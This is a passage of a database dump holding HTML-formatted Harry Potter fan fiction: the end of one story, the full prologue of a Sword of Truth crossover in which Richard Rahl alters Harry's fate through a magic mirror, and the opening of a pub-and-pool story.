trapped Voldemort somewhere, giving Harry the time he needed to figure out what he had to do next. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">But most of all, it had given him her. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">And one quiet evening right before Christmas, when the room was cold and they were curled up around each other in her bed, Harry heard the voice he had been waiting for. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Hey, Harry. You found me!&#8221; his father called from his frame. &#8220;Do I have a story to tell you!&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">His heart pounding with happiness, Harry kissed his sleeping girlfriend on her cheek and, wrapped in a quilt, settled himself on the floor to listen. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The End</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Not necessarily the ending I dreamed of a decade a go but alas, an ending. </font></font>\n\n</p>\n\n'),
	(19, 1, '\n\n\n\n\n<p>Seekers</p>\n\n<p>A Harry Potter/Sword of Truth crossover </p>\n\n<p>By Dragonlord</p>\n\n<p>Disclaimer: if you recognize it then it is *not* mine. </p>\n\n<p>e-mail: valheru_2003@hotmail.com or valheru_2002@yahoo.es </p>\n\n<p>&nbsp;</p>\n<p>Author\'s notes: the prologue takes place while Richard is away in the Temple of the Winds, before his return to his own dimension and before he stopped caring about the fate of the world. Some spoilers for the Temple of the Winds, fourth book of the Sword of truth series but nothing too major. I have blended a little the rules in the Temple to sit my fic. </p>\n\n<p>---------------------------------------</p>\n<p>Prologue: Across the Mirror of Worlds</p>\n<p>---------------------------------------</p>\n\n<p>Temple of the Winds.</p>\n\n<p>Underworld.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Richard Rahl walked trough the deserted corridors of the Temple of the Winds, his mind thinking about a thousand different things at the same time in a futile attempt to hold onto sanity.</p>\n\n<p>Once these same halls were full of life, of working wizards. People bringing knowledge from all over the world when it was free of war and strife. Before the Great War this was the revered place where all was stored, all was kept safe from unworthy hands.</p>\n\n<p>But those days were no more.</p>\n\n<p>Three thousands years ago the world was divided in two. In each side a different view of magic was held. One wanted it to disappear, the other to protect it. Extremes that sanctioned the use of magic in the creation of weapons of fearsome power.</p>\n\n<p>Weapons like the dream walkers.</p>\n\n<p>But a small group searched for the point in between.</p>\n\n<p>Those were the Temple Team, a hundred wizards with the charge of keeping the Temple of the Winds and its knowledge protected. A group that was the responsible for the disappearance of the temple into the underworld, leaving only two ways to reach it and its forbidden secrets.</p>\n\n<p>The Hall of the Betrayer and the Hall of the Betrayed.</p>\n\n<p>Richard had been betrayed in the fulfilling of the an age old prophecy, betrayed in blood by the love of his life; Kahlan.</p>\n\n<p>The need of finding the Temple of the Winds and the power to stop the plague unleashed by Jagang seemed able to make all sacrifices worth. But nor Richard nor Kahlan could fathom the price the spirits guarding the Temple would ask in return for Richard entering it.</p>\n\n<p>That price, in the name of self imposed duty, nearly destroyed him.  </p>\n\n<p>In exchange for it he had now all the power and knowledge of the wizards that existed during the Great War, three thousand years ago. Wizards like him, having the Gift for not only Additive magic but also the Subtractive one.</p>\n\n<p>War Wizards.</p>\n\n<p>Richard\'s clothes were the outfit of those wizards that held a power allowing them to reshape the world. Power to twist the laws of nature to fit their whims.</p>\n\n<p>His clothing was a mark of his ranking.</p>\n\n<p>His black leather boots were wrapped with leather thongs pinned with silver emblems displaying geometric designs. Over his sleeveless black shirt was an open sided tunic, symbols of power shone along the gold bands running all the way around its squared edges. The tunic was held at his waist by a silver worked leather belt, the shinning metal bearing more of the mystic symbols. At each side of it a gold worked pouch was resting. At his wrists were wide, leather-padded silver bands bearing linked rings that had, as sole decoration, another set of symbols. Finally a cloak made of spun gold was holding from his massive shoulders.</p>\n<p> </p>\n<p>War wizards were the only kind of wizards to wear that kind of outfit, differently from other humans with the gift of magic that choose to bear more ordinary clothing. </p>\n\n<p>It was a warning, a way to clearly show the difference between the different classes of wizards. Not even the prophets, second in importance, had the right to wear clothes of that kind. </p>\n\n<p>Between wizards those born and breed for war were supreme.</p>\n\n<p>Even someone with no knowledge of magic could feel the tangible air of power and menace a war wizard displayed. It was beyond what even kings could ever dream to be. Still the clothing was nothing more than another symbol for the wizards holding Subtractive and Additive.</p>\n\n<p>They were power and the power came from within, from the very core of their souls, not from clothes or symbols.  </p>\n\n<p>Now Richard had the knowledge to use the power of his birthright and with it he had stopped the raging plague that had already killed hundreds of thousand people. With the knowledge of how using his Gift it had been something easy. Once that done he had closed all the entrances to the Temple preventing any possible breach in its defenses.</p>\n\n<p>And not once had the desire to return to his world crossed his mind. He could do it, but what would be the point? He had nothing to go back to.</p>\n\n<p>He had lost what for him mattered more than anything else; Kahlan\'s love. Now she was forever out of his reach, not only because of the betrayal and the last words exchanged between them, but also because she was now the wife of his half brother; Drefan.</p>\n\n<p>Richard\'s powerful muscles tensed when he thought about that, making him to lash out with his power, powered by his anger.</p>\n\n<p>In the last moment he contained himself, his anger dyeing as quickly as it was born.</p>\n<p> </p>\n<p>He sighed.</p>\n\n<p>It was pointless.</p>\n\n<p>In a lifeless world he was the only source of sound, of human heat, of life.</p>\n\n<p>But he could not live there, life could not be sustained eternally in a world of death. Not even with his immense powers could he do much about it. The food he conjured, that he created, could not sustain him, nor did the water. Sleep lacked meaning. Bit by bit he was losing the will to go on. </p>\n\n<p>Soon he would be awaiting for death and he would do nothing to prevent it.</p>\n\n<p>And as he told Cara the Temple of the Winds was his home now.</p>\n\n<p>He continued walking his mind wandering aimlessly.</p>\n\n<p>Then he stopped a sudden thought coming to him.  </p>\n\n<p>&quot;I have power. Why not use it?&quot;</p>\n\n<p>Why not indeed.</p>\n\n<p>He started walking faster, his boots making no sound as he advanced trough the immensity of the Temple\'s halls.</p>\n\n<p>After what seemed hours, but could have been minutes as this was a timeless world, he stopped in front of one of the innumerable doors. As each of them it led to the rooms stored with the items of power the other wizards entrusted to the winds for their safe keeping.</p>\n\n<p>Without even needing to concentrate in his power, he lifted a hand and silently the door opened, letting Richard enter.</p>\n\n<p>The room at the end of the corridor behind the door was immense but Richard paid no heed to that detail, his attention focused in the floor.     </p>\n\n<p>There, as in the screwing room, a round pool of dark water rested, easily fourteen feet wide. Symbols of power surrounded the stone that held the liquid, those symbols moving from there to cover every inch of the room, millions of them interconnected to make the magic work once summoned.  </p>\n\n<p>Richard sat cross legged and without any strain levitated, focusing his power in the dark still water-like substance.</p>\n\n<p>The &quot;water&quot;, that until then had been so dark as to be easily mistaken by another part of the ground, started to shine until it turned crystal clear. At once all the symbols burst alive in a show of light that filled the room, way more bright than the unchanging light that filled the underworld.</p>\n\n<p>Richard focused his will on the mirror and the glowing symbols. In a burst a set of them turned from white to blue as images started dancing in the smooth surface of the water.</p>\n\n<p>Richard looked at the images, his face cold even as history began to him.</p>\n\n<p>The Mirror of Worlds was one of those objects put in the temple for their safekeeping. The function of the mirror was to see other worlds in other dimensions, see the more important events of each world and its possible alternates.</p>\n\n<p>Strangely the wizards that had crafted the mirror couldn\'t find a way to touch the history of their world, Richard\'s world, but discovered that they could actually reach those other worlds with their powers.</p>\n\n<p>The knowledge of what the mirror could do in wrong hands was enough to ban it to the Temple, but before the wizards could decide if they should or would use it to help other worlds the Great War started and the mirror and its possible use was forgotten.</p>\n\n<p>One strange quality of the mirror was that it could only show worlds where magic existed.  </p>\n\n<p>The knowledge was like branded in Richard\'s mind and he knew that it was true, but that couldn\'t prevent his sudden laughter at the irony.</p>\n\n<p>To him magic wasn\'t the use of some Gift but in things like a new born baby. That was where true magic was! Innocence and infinite potential for both good and evil along side a sense of wonder and marvel beyond the most incredible feats worked by wizards</p>\n\n<p>Really the magician of old had strange view of what was true magic.</p>\n\n<p>Life.</p>\n\n<p>Setting his mind free of those thoughts Richard\'s steel like gaze felt in the images of the pool.</p>\n\n<p>For an unknown measure of time worlds passed in front of him, none of them showing something to held his interest. He was tempted to call the idea as a pointless waste of time but still Richard chose to wait.</p>\n\n<p>After all, this was better than sitting in the Throne of Power awaiting from some vagrant spirit to come see him, like a strange creature of flesh and bones still living in the world of the dead. </p>\n\n<p>So he remained focusing minimal quantities of power, making the temporal and dimensional abilities of the mirror work.</p>\n\n<p>Before Richard\'s eyes other worlds came to life, passed by and disappeared. Some  similar to his own while others were totally different. Some of them were rather interesting.</p>\n\n<p>Relative hours had passed and Richard continued admiring the images.</p>\n\n<p>Then a world came forth, and it held his interest.</p>\n\n<p>Not only magic was very different from his own but also the wizards had elected to hide from the normal people.  </p>\n\n<p>It was like looking at two worlds, one of them not even knowing of the existence of the other. The first one, the magic one, was full of mystical creatures, most of them unknown in Richard\'s world. Richard knew of them of course due to the knowledge of the winds but even so he was marveled by them.</p>\n\n<p>Unicorns, gryffins, dragons, faeries, nundus, pixies, veelas and so on seemingly without end. It seemed that the world he was seeing was full of wonderful beings.     </p>\n\n<p>The wizards and what he supposed were that world version of the sorceresses seemed to need a piece of wood to focus the magic in them and what Richard saw is rather harmless if not amusing. </p>\n\n<p>It would be so even for a wizard with only the Additive side, thing that allowed Richard to enjoy it even more.</p>\n\n<p>Richard saw the first times of magic in that world, when the different wizards chose to hide from the non magical people. Richard by what he was learning from the history of that world realized that it was not only as a way to protect themselves but also to protect the normal non-magical world.</p>\n\n<p>Some could thing that it was due to fear but Richard respected the power of their magic. Even if it was harmless to him those wizards could rule the totality of the world easily but instead chose not to.</p>\n\n<p>With profound wisdom Richard could see the elders of the magical race decide to leave the human world aside and Richard could but respect that decision. </p>\n\n<p>After all his own grandfather, Zedd, had done something similar and Richard could but understand him.</p>\n\n<p>He continued looking at the wizards of that world wondering about the differences between his magic and theirs. The Subtractive part of his power was rather rare, those wizards only able to do things with a magic similar with his Additive. </p>\n\n<p>Richard felt relieved as he knew that it was the union of the additive and subtractive magic that made the War Wizards that powerful.</p>\n\n<p>And dangerous.</p>\n\n<p>Anyway Richard continued to see the world move as time passed he start to feel worried by what he saw.</p>\n\n<p>Year after year more wizards felt under what he came to understand was a dark side of that magic. He witnessed how good wizards and witches stood against them through the ages. Sometimes they had to give up their lives to protect not only their magical world but also the &quot;normal&quot; one.</p>\n\n<p>As Richard observed the battles taking place he came to understand that, somehow, the magical word was becoming a sort of line of resistance against the attacks of evil, if evil could be a single entity.</p>\n\n<p>Richard didn\'t believed that. </p>\n\n<p>Even the Keeper of the Underworld with his hunger for the living was understandable, a needed force to keep the balance of creation going on. </p>\n\n<p>True evil came by the hands of men and, at least in his world, the influence of the Creator and the Keeper was minimal. Even those that pledged their soul to the darkness of the Keeper could only be controlled so far by their master.</p>\n\n<p>But in that world...</p>\n\n<p>As a witness of its history Richard soon came to see a pattern in the attacks. </p>\n\n<p>As soon as a dark wizard or dark sorceress was defeated another one would appear, generally after a few years of peace and each was more powerful than the other. Each of those dark agents gathered even more followers than its previous antecessor. But once that dark lord was defeated they all seemed to turn around,  forsaking their anterior allegiance even if for fear of the forces responsible of the defeat of their leader.  </p>\n\n<p>Still there were too many parallelism in each of those uprisings from the dark side to be nothing more than a coincidence... Could there be a source, an hidden reason for that evil?</p>\n\n<p>Richard\'s face darkened, not liking where his mind was going with its idle thinking.</p>\n\n<p>So he continued watching.</p>\n\n<p>As the years progressed Richard saw dark wizards rise and fall one after the other. None of them achieved any true victory, their cults eradicated few times after their downfall.</p>\n\n<p>That is until came the year when Richard saw the ascension of the most evil one he had seen so far.</p>\n\n<p>Not to mention the most powerful ever.</p>\n\n<p>It was with growing rage that he saw the man (as if such being could be called human anymore) bring chaos and destruction to the magical word. For eleven odd years he observed, raging to be able to do something, as the darkness felt upon the world.</p>\n\n<p>He knew without a doubt that if things continued that way the magical world he had grown to like would fall and after that would follow the rest of the world.</p>\n\n<p>Richard continued to see the covered war against the dark wizard, saw the ones trying to oppose him die as his power grew more and more until all hope seemed to have disappeared.</p>\n\n<p>Deep in his mind he knew he could help.</p>\n\n<p>He had the power to do so, that was a given.</p>\n\n<p>Still he was reluctant to act, disturbing the timeline of that world. It wasn\'t his to protect.</p>\n\n<p>And there was still some opposition. True they were hindered by their own morals and ethics something that to the war wizard was something that made him respect them even more as it was their force, their strength. They were many groups fighting the darkness including what Richard supposed was their ruling institution and yet the one that people seemed to look after as their leader was the one that had saved them before form another dark wizard.</p>\n\n<p>He was old for a man so driven to ensure the future of his world, the flame that burning within him a beckon for all those opposing the darkness. He had assisted trough his viewing how he refused to hold too much power and instead took on teaching young children, guiding them trough most of their adolescence first as a professor and then as the headmaster of the school.</p>\n\n<p>His people believed that the old man and others like him would be able to stop this dark wizard and as those people believed so did Richard.     </p>\n<p>   </p>\n<p>So he continued to watch, not doing anything to stop the growing darkness, even if his instincts were screaming at him to do something.  </p>\n\n<p>Then it happened.</p>\n\n<p>Richard had seen how the dark lord started to search for something with growing urgency until he witnessed, with profound disgust, the moment the dark wizard found what he searched for. </p>\n\n<p>Richard couldn\'t ear what was said but he knew enough to guess what happened when a bald fat man appeared in front of the dark one. The face of the dark wizard rarely showed any positive emotion and it made Richard guess what the man gave to the wizard when he saw his reaction. </p>\n\n<p>The face lit with dark happiness.</p>\n\n<p>The Seeker of Truth could only observe how the Dark lord disappeared and reappeared in front of a small house, a dark night. He assisted to the moment when the dark wizard burst into the house and attacked a young couple and their still infant son.</p>\n\n<p>Richard saw how the young man with dark hair tried to stop the dark one, fighting valiantly to protected his wife and son even knowing against whom he was fighting. Richard felt respect and admiration swell in his heart towards the young man. </p>\n\n<p>And it was with profound sadness and no small amount of anger that he saw him die. </p>\n\n<p>Not seconds after the body of the young man crashed into the ground after being hit by a bolt of green energy, the dark lord rushed covering the ground more quickly that the young woman with her baby. </p>\n\n<p>Richard could only guess that somehow the house had been sealed when the young woman tried to frantically open the rear door of the house in vein. Suddenly she stiffened and Richard knew that she sensed the dark lord\'s approach. </p>\n\n<p>Indeed the dark lord\'s shadow felt upon the young mother and her son she turning her back to him in a futile effort to protect the infant, even begging to one that had no shred of mercy in his blackened soul. Richard could see the exchange and how sure enough the dark wizard pointed his wand, the same death bringer green light shoot from its tip, severing the young woman\'s life cleanly, silently.</p>\n\n<p>And that\'s when Richard saw her stumble, her eyes wide open.</p>\n\n<p>Richard reeled back from the impression.</p>\n\n<p>The young woman had Kahlan\'s eyes, the same deep green full of intelligence and goodness.</p>\n\n<p>But Richard saw the light fade from those orbs.</p>\n\n<p>That send a shock to Richard\'s very core.</p>\n\n<p>It was enough.</p>\n\n<p>&lt;To the Underworld with it all!&gt;</p>\n\n<p>The dark wizard pointed his want towards the screaming baby, the tip glowing green until a bolt of intense green light was blasted towards the boy\'s brow. </p>\n\n<p>Richard stopped the mirror.</p>\n\n<p>Time was meaningless in the underworld giving him time to think about something.  </p>\n\n<p>He raked his fingers trough his hair, his mind racing.</p>\n\n<p>He had to think this through or he risked violating the Wizard\'s Third Rule; </p>\n<p>passion rules over reason.</p>\n\n<p>That could be dangerous. And with magic in the equation catastrophic.</p>\n\n<p>Kolo\'s advise came to him. He had to thing coldly at this, not let his own feelings of anger cloud his mind. The knowledge from the Temple of the Winds did but strengthen the force of the old wizard\'s advise and Richard started to focus himself, breathing deeply with his eyes closed for a long time. </p>\n<p> </p>\n<p>Once he found himself more calm and collected he looked back at the mirror and to the image frozen in its depths for a moment without doing anything. Then he forced some of his power into it, powering the old wizards creation once more. The mirror and the symbols around it glowed, the images unfolding again.</p>\n\n<p>The bolt struck the baby, killing the infant without a sound, cutting his wails even as the dark figure started to laugh.</p>\n\n<p>Richard forced himself to continue looking at the scene unfolding, not liking what he saw but knowing that he had to gain all the information he could gather before interfering. Saving the baby\'s life could be more dangerous than letting history continue, untouched. </p>\n\n<p>In the following years Richard saw how that marvelous world felt to the onslaught of darkness. He saw how the forces of the light were slowly defeated until it was clear what would happen. He witnessed how those facing the Dark Lord and his armies of magical creatures and dark wizards soon found themselves  in small pockets of resistance across the world, falling one after the other.</p>\n\n<p>And soon the Dark Lord and his followers had crushed them, the hunt for his last adversaries began, those few light wizard being killed one by one.</p>\n\n<p>And once the magical world was his, the massacre started.</p>\n\n<p>Richard saw with increasing terror and loathing how the wizards with what he could guess were non magical parents were exterminated as if they were a sub product of life, a disease to be eradicated from creation, the images brought by the mirror echoing in his memories with the acts of slaughter realized by Jagang\'s followers. </p>\n\n<p>Banishing those memories Richard\'s attention returned to what the mirror was showing him. Some of wizards opposing him survived but it was only to fall under the yoke of slavery, no hope of ever finding liberty again, and those that survived soon found themselves wishing for death, envying those already dead.</p>\n\n<p>Once the fall of the magical world was complete came the turn of the rest of the planet that had already started to feel the repercussions of the war within the wizarding world.</p>\n\n<p>Wars exploded all around the globe, as all sign of government and order fell under the darkness\' advance. The horrors that had happened in the magical word were pale compared to what followed.</p>\n\n<p>And all that time the Dark Lord laughter echoed trough the doomed world.</p>\n\n<p>Richard ached to blast the dark wizard with the purest form of subtractive magic, destroying that being forever, unraveling his very soul until nothing remained of that monster</p>\n\n<p>He forced to control himself.</p>\n\n<p>Once again he focused his energies towards the mirror making it turn back in time, just to the instant the dark wizard was about to kill the baby.</p>\n\n<p>Somehow he knew that was the moment for him to act, his very instincts screaming at him that it was so. He realized that the young baby was the pivotal point where the future of the world depended. </p>\n\n<p>He examined the scene, taking on all the details he could, shifting trough different kinds of extra sensorial perception before shifting towards the underlying current of magic omnipresent in Creation.</p>\n\n<p>Colors shifted, allowing Richard to see what couldn\'t be seen without the Gift and the knowledge know what to do with it, a knowledge lost three thousands years ago in the aftermath of the war.</p>\n\n<p>As he knew the aura of the young woman, both magical and the one representing her life were already gone, the flame of a candle blown before its time. The dark wizard was powerful, very powerful but dark and cold, silvery green tainted by the evil of the acts done trough the years.</p>\n\n<p>Focusing in the magical aura and blocking the other Richard could see the magic woven in the numerous webs around the dark wizard, still Richard wasn\'t able to understand their function, once again the difference between his magic and the one used in that world apparent. They were crude compared to what he was used but he could not ignore the power used in them.</p>\n\n<p>The boy was another thing.</p>\n\n<p>His magical power was great almost a rival for the one of the dark wizard looming above him but it was much less focused as it was to be expected in someone that young. </p>\n\n<p>There was something else there, something upon his very skin that was glowing a deep red. It wasn\'t a web or any other magical construct, more like a primeval force that was bound to the boy. </p>\n\n<p>Acting on a hunch Richard chose to send the mirror moving backwards in time all the while keeping his actual perceptions.</p>\n\n<p>Sure enough he witnessed how the young boy returned to the arms of his mother and how the dark wizard\'s wand absorbed the green light that had killed the woman.</p>\n\n<p>His eyes widening slightly in triumph he could see how the red energy erupted from the woman, encompassing them both and growing in strength as the green light struck her again. Still the crimson light didn\'t fade but move to surround the body, remaining like mist around the boy that couldn\'t understand what was going on or why his mother was suddenly silent.</p>\n\n<p>Under Richard\'s gaze he could see how the red light started to soak the boy\'s skin, keeping a thin sheet out of the body.</p>\n\n<p>Richard then forced himself to see once again the death of the boy, as much as he loathed it. With growing satisfaction he saw the red light fight the green curse still losing but the war wizard suspected that it was only due to the short amount of time... the protection had been placed that had tipped the odds in favor to the curse.</p>\n\n<p>Well he would have to do something about that he thought as he shifted once again to normal perception, a grin that would have made his grandfather tense with worry tugging his lips.         </p>\n\n<p>What he was about to do would take a lot of energy from him but with the power of the Temple of the Winds backing his there would be no problem, already it was telling him what he would need to do.</p>\n\n<p>The mirror came to live again.</p>\n\n<p>The green blast of lethal magic came forth and Richard unleashed his own spell, a white light coming from his outstretched hand, hitting the surface of the mirror that hissed like wounded, crossing trough worlds until his web reached the right moment.</p>\n\n<p>The killing curse touched the protection the young woman had left with her death and Richard\'s spell augmented the power of that protection. It was a mark of respect to the power of the curse that even with it all the power opposing the killing force, it left a scar (and who knew how many other things) in the brow of the infant before blasting backwards towards its caster.</p>\n\n<p>Richard\'s gray eyes gleamed when he saw the green blast touch the Dark Lord, killing him.</p>\n\n<p>But that didn\'t prepare him for what followed suit.</p>\n\n<p>The body of the dark wizard crumbled in the ground and started smoking like if it was burning but, where moments before the dark lord was standing, something remained.</p>\n\n<p>It was darkness, a shadow that was beyond the term &quot;black&quot;. It was looking at the boy, and hate seemed to roll from it like waves. </p>\n\n<p>From the shadow something exited, a white cloud that soon escaped into the darkness of the night, and Richard knew it was what remained of the dark wizard\'s spirit, a formless, powerless being holding on only by the power of its hate.</p>\n\n<p>But the dark form remained there, with a life of its own, barely holding the shape of a man. It continued looking at the boy and the feeling of hate increasing, before looking directly towards Richard, red eyes gleaming from a featureless face.</p>\n\n<p>And Richard knew it was looking at him, the same hate and malice that the thing directed at the boy now focused on him.</p>\n\n<p>But the war wizard knew also that it was with fear that it was looking at him.</p>\n\n<p>&quot;You have but gained time human. And once that time is spend, he will be mine.&quot;</p>\n\n<p>The voice brought shivers at Richard even as it disappeared.</p>\n\n<p>With barely a passing thought he stopped again the mirror.</p>\n<p> </p>\n<p>He looked at the boy, at his bleeding scar, a broken line that seemed to be a bolt of lightening, and at his green eyes.</p>\n\n<p>Then he raise his hand and the image moved again showing how the house started to fall apart.</p>\n\n<p>But the boy survived and Richard continued looking at him the following years, looking at the life of the boy he helped to save. He witnessed it all until his seventeenth birthday, a plan already forming in his mind.</p>\n\n<p>Again he returned back in time to the moment when the baby was alone, just after the death of his parents and the defeat of the dark lord when the house was still whole. </p>\n\n<p>He looked at the boy he had seen grow. Seventeen years of struggle that let the boy be more mature than someone twice his age and Richard discovered he was proud of the young man the boy who lived would become. </p>\n\n<p>The feeling that he was doing something right, something needed, assaulted him.</p>\n\n<p>He knew that the boy had something special but he also knew that if the boy had to survive to fulfil what he had to do, well, then he would need something more.</p>\n\n<p>Richard didn\'t like prophecy but his increased knowledge, the legacy of the old wizards, told him that some things were predestined. Maybe this was one of those things.</p>\n\n<p>For a long time Richard pondered what he could do to help the boy more. He knew that the boy would soon face the dark lord, after all he had seen it, but he knew that soon he would face not only the dark wizard reborn trough a vile ritual but the dark wizard\'s master and once that happened not even all the luck in the world would help him.</p>\n\n<p>The boy needed something more than sheer courage and phenomenal focus. As he would become, powerful in the ways of the magic of his world it wasn\'t near enough raw power to tip the odds he would face. Not even with all the help he could gather from friends and allies would he be able to win.</p>\n\n<p>No. Right now Richard was the only one able to help the boy. And if the boy died what he saw, the alternate reality Richard had seen would come to life but maybe even worst.</p>\n\n<p>After thinking about it even more, Richard came to a resolution.</p>\n\n<p>The mirror started moving again, this time backwards moving against the flow of time until the mirror found what Richard needed.</p>\n\n<p>The mirror\'s image split in two.</p>\n\n<p>In both side, pregnant women, both sleeping... the boy\'s grandmothers, their stomach swollen by the life they carried within.</p>\n\n<p>With a nod he called again upon the mirror\'s power, once again moving backwards, from time to time splitting as it moved backwards upon the boy\'s family tree, reaching trough the very roots of the boy\'s lineage, reaching upon the most primitive of his ancestors.</p>\n\n<p>Following his instinct, Richard stopped the mirror, whose surface had split in thousands of images and in each of them women and men alike could be seen, all of them related by the bonds of blood, by the very genetics that would shape the boy he saved.</p>\n\n<p>Then with a nod he started, putting in motion immense forces as he prepared himself to do something never done before.</p>\n\n<p>Magic danced in his eyes, crackling with power coming from the very core of Richard\'s soul, coming from the very power of the Temple of the Winds, coming even from beyond from the very worlds where the Gift of magic came.</p>\n\n<p>Gathering his power he rose both hands and from them light started to shine, blinding and chilling.</p>\n\n<p>From his right pure white surged.</p>\n\n<p>From his left void dark came.</p>\n\n<p>Both blasted from Richard\'s closed fists, once again crossing the boundaries trough the worlds touching the very first of the boy\'s ancestors, people thousands of years before his time.</p>\n\n<p>To the changes to take place as Richard wanted them to be, he had to work on each of them, changing just a bit of their make-up, both magical and genetically, each generation adding the bit of alteration to make something bigger and more powerful.</p>\n\n<p>It was beyond difficult as sweat purred from Richard\'s brow.</p>\n\n<p>Nothing could be left to hazard. The magic he was using was powerful beyond measure but needed to be carefully balanced with the very essence of the beings he was tampering with.</p>\n\n<p>Finally after what seemed hours, but that could have been minutes or years, Richard reached the parents of the boy, the ones that sacrificed themselves to save they son.</p>\n\n<p>Richard gazed upon the boy\'s grandmothers, looking at their barely swollen belies where within those two beings were gestated. Being the parents, and thus the ones nearer to the boy, he needed to make the changes sooner than before.</p>\n\n<p>The sub-codes already in their genetic, and in the case of the male child, magical make up were nearly completed. Once he was done they would lack only the opposite instruction to make Richard\'s long line of alterations complete and operational.</p>\n\n<p>A long work would bear fruits... forever tearing the boy apart from his peers and the rest of the mortals of that world.</p>\n\n<p>The boy could grow to hate him for what he was about to complete.</p>\n\n<p>Yet after a moment more Richard once again unleashed his power, the ropes of magic breaching trough the layers between worlds, ultimately entering in contact with both women\'s skin and from there their womb, reaching on the beings they carried within... one that would grow to be James Potter and another that would be Lily Evans.</p>\n\n<p>As with all those before them, those alterations would be meaningless, not changing James and Lily\'s lives in the slightest, but in their son...</p>\n\n<p>Well at least he would have some years of quasi normality, he thought, not comforting him at all.</p>\n\n<p>There. </p>\n\n<p>Done.</p>\n\n<p>The power was cut of, stilling the air and the very mirror that once again was still, gazing upon the two sleeping women.</p>\n<p>  </p>\n<p>Then it moved again, fast, devouring the years until it reached the boy\'s fourth year in his school, just after the events of the contest where the Dark Lord regained his corporeal form. </p>\n\n<p>Richard looked at the boy as he sat in the train that would bring him again to the house of his aunt and uncle. </p>\n\n<p>Richard looking at the dejected form of the teenager and probed him with his powers. As he thought the change were already taking place evolving the boy from the wizard he was to another kind all together.</p>\n\n<p>The kind of wizard the war that would touch his world would need.</p>\n\n<p>Of course the transition would be difficult to understand for the boy. He would be in the dark, not only as the change took place but also after it was completed, a time relatively short. Some things would need to happen, not needing Richard\'s intervention... the events would set the requirements by themselves.</p>\n\n<p>Still *some* things would be needed to be done before passing to the second phase of his plan. </p>\n\n<p>As for now he had done what he could in that world and that had taxed his powers. Fortunately the rest of what he could do would not need such extreme measures. </p>\n\n<p>Things would have to go to the boy of course, and he had to make sure that they reached the him when he needed them... more things the boy would not like, that\'s for sure.</p>\n\n<p>All of that to make sure that the boy lived to reach his potential, the potential Richard gave him.</p>\n\n<p>Fortunately he wouldn\'t need to reach that level but in needed time, years from now from the boy\'s temporal perspective. Once that was done would the important part start.</p>\n\n<p>If the boy did as he supposed he would all would go well, at least in what concerned his plan. A shame he couldn\'t do more for that world itself, but the boy, if all turned as it should be, would set things right.</p>\n<p> </p>\n<p>After all he and the boy were too similar to be it in any other way.  </p>\n\n<p>Now, to do all of that before his heart turned into stone, this time definitively.</p>\n\n<p>-----------------------------</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(20, 1, '<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>Disclaimer</b><b>:</b></p>\n<p class="MsoNormal">As\nyou probably already guessed; none of the following characters are mine, they\nall belong to JK Rowling. To quote many before me, “Please don’t sue me, I\ndon’t have any money.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>---------------------------------------------</b></p>\n<p class="MsoNormal"><b>Classic\nCafé</b></p>\n<p class="MsoNormal"><b>By\nQuis (<a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>)</b></p>\n<p class="MsoNormal"><b>---------------------------------------------</b></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>Chapter 1: Not the usual order</b></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> There was complete silence except for the\nsudden clink as the last ball fell into the pocket. A young boy with raven black\nhair could only stare in disbelief.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Best\ntwo out of three!” he shouted to a smaller, slightly rounder boy.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> He and several other boys around his age were\nstanding around a pool table in a local club.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“I\ndon’t know Harry, looks to me like it’s already best four out of seven.”</p>\n<p class="MsoNormal">“Shut\nup Dean.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> It was a weekly ritual now that Dean, Ron,\nNeville and himself would get together and hang out at their favourite club. As\nalways Neville was creaming the lot of them in pool and tonight Harry was\ndetermined to beat him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Yeah\nHarry. As much fun as it is, I don’t really feel up to beating you again,” said\na smiling Neville. “I mean it is getting late and all.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> “He’s right Harry,” said Ron as he started\nputting on his coat. “I have to be getting home myself and I need to use your\nfireplace.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sighing\nin defeat Harry dropped his cue and went to pay the owner for their games.\n“Don’t think you’re getting off easy Longbottom. Next week I’ve got you beat.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Harry\ncould remember the first time those words had escaped his lips. It was earlier\nthis summer when the four of them had found this place. It came as a huge\nsurprise to everyone when a friendly game of pool between friends turned into a\nhopeless battle as Neville refused to miss a shot.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> As the four boys walked down the streets of London they were already planning when\nthey would meet next. They had just decided on the usual time and place when\nDean and Neville had to part ways to get home.</p>\n<p class="MsoNormal"> </p>\n<p 